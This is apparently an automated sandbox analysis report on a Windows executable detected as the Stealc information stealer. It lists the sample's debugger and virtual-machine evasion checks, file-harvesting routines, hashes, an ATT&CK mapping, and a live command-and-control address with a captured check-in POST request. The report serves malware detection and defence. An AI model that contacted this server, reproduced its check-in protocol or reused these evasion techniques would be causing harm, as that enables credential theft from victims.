Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DE7D second address: 78DE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E042 second address: 78E046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7AA846 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 79446A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 819AC0 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00394910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0038DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0038E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0038ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00394570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0038DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0038BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0038F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00393EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00393EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003816D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00381160 GetSystemInfo,ExitProcess,

0_2_00381160

Source: file.exe, file.exe, 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1701295497.0000000000E65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1701295497.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13197
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13194
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13215
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13209
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13249

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00399860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399750 mov eax, dword ptr fs:[00000030h]

0_2_00399750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00397850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00397850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7492, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00399600

Source: file.exe, file.exe, 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 3Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00397B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00396920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00396920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00397850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00397850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00397A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00397A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1658803350.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1658803350.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpn	17%	Virustotal		Browse
http://185.215.113.37/ws	17%	Virustotal		Browse
http://185.215.113.37/G	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpG	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpn	file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php9U	file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37O	file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/.9	file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/G	file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php%U	file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpG	file.exe, 00000000.00000002.1701295497.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523789
Start date and time:	2024-10-02 03:10:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947320576471026
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'878'016 bytes
MD5:	44397c793b2976c5571c32b11842e395
SHA1:	d268ccdfb8eceb1f3ed0ccbb05f31b759528c0b7
SHA256:	004cb0e8c07cc1b3f0613d1148d353c359ceffb8e2b27da445ed0eb11456b282
SHA512:	b0f8eacb7045a7a79a1fcc17f1d181b6e3a17ad06fd5097920e6707a806c9f6fb70aa5397e7e2309b6a7f80593102fb34a54583adc5397d583b1612f67216829
SSDEEP:	49152:OI0xvJVaKkL19qw8z+BDF0fV/HEkWa5ZWk:OIEMqw8iDFUfEkRZ/
TLSH:	7E9533D21A128F1DFB443FB286B6D546157B0F1599C3F3FC4C32A4E96A2BB92439B405
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaab000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F701CE1808Ah
jbe 00007F701CE180A2h
add byte ptr [eax], al
jmp 00007F701CE1A085h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	38ba5dd174f68bafa0e3ee85e18196c0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a7000	0x200	afd201fc1b4583ae7807301857bb1476	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xspzzdod	0x505000	0x1a5000	0x1a4600	72f397057ba1861aac812bed604ccc08	False	0.99486077813708	OpenPGP Public Key	7.952856014840197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ngzkmgsa	0x6aa000	0x1000	0x400	6a5530d7d26890d8ad0cafbfe0aa0baa	False	0.77734375	data	6.09879566064824	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6ab000	0x3000	0x2200	a33d7d43d03ef404fe88227b1b19d0d9	False	0.05951286764705882	DOS executable (COM)	0.7174442702629957	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T03:10:59.743753+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 03:10:58.785684109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 03:10:58.790647030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 03:10:58.790747881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 03:10:58.790890932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 03:10:58.795619011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 03:10:59.517076969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 03:10:59.517429113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 03:10:59.520101070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 03:10:59.524904966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 03:10:59.743675947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 03:10:59.743752956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 03:11:02.316627979 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 03:10:58.790890932 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 03:10:59.517076969 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 01:10:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 03:10:59.520101070 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 44 42 35 34 43 38 38 37 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: 